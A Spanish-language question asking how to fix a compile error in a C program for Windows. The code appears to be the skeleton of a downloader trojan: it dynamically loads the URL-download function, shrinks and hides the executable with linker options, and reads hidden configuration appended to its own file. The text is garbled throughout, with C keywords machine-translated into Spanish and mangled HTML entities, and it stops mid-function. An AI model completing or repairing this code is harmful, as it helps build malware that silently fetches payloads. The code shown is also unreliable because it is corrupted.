Cómo solucionar el error al compilar el siguiente código
#include lt;stdio.hgt;
#include lt;shlwapi.hgt;
#includelt;wininet.hgt;
#pragma comentario(lib, "wininet.lib")
#pragma comentario(lib, "shlwapi.lib")
#pragma comentario(lib, "MSVCRT.lib" )
#pragma comment (lib, "Urlmon.lib")
#pragma comment(linker, "/OPT: NOWIN98") //Descomenta estas líneas y compila el archivo de salida tiene solo 2K de tamaño
#pragma comment(linker, "/align: 0x200")
#pragma comment(linker, "/subsystem: windows")
#pragma comment(enlazador, "/ENTRY: ProcEntry /FILEALIGN: 0x200 /MERGE: .data=.text /MERGE: .rdata=.text CTION: .text, EWR /IGNORE: 4078")
#include lt;time.hgt;
#include lt;winsock.hgt;
#include lt;stdlib.hgt;
#include lt ;Wininet.hgt;
#includelt;Aclapi.hgt;
#include lt;io.hgt;
#pragma comment(lib, "Wininet . lib")
#pragma comment(lib, "ws2_32")
DWORD(WINAPI *DOWNFILE) (LPCTSTR, LPCTSTR, LPCTSTR, DWORD, LPCTSTR); //Carga dinámica UrlDownloadToFileA función en Urlmon.dll
HINSTANCE hurlmon;
int memfind(const char *mem, const char *str, int sizem, int tamaños)
{
int da, i, j;
if (tamaños == 0) da = strlen(str);
else da = tamaños
p>
para (i = 0; i lt; sizem; i)
{
para (j = 0; j lt; da; j)
if (mem[i j] != str[j]) break
if (j == da) return i;
devolver -1
}
#define MAX_CONFIG_LEN 500
LPCTSTR FindCon
figString( LPCTSTR lpString)//Encuentra la información de configuración al final del archivo
{
char strFileName[MAX_PATH];
char *lpConfigString = NULL ;
DWORD dwBytesRead = 0;
GetModuleFileName(0, strFileName, sizeof(strFileName));
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
devuelve NULL;
}
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = nuevo carácter[MAX_CONFIG_LEN];
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, amp; dwBytesRead, NULL) ;
CloseHandle(hFile);
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
if (offset == -1)
{
eliminar lpConfigString;
devolver NULL
}
else
{
devuelve el desplazamiento de lpConfigString;
}
}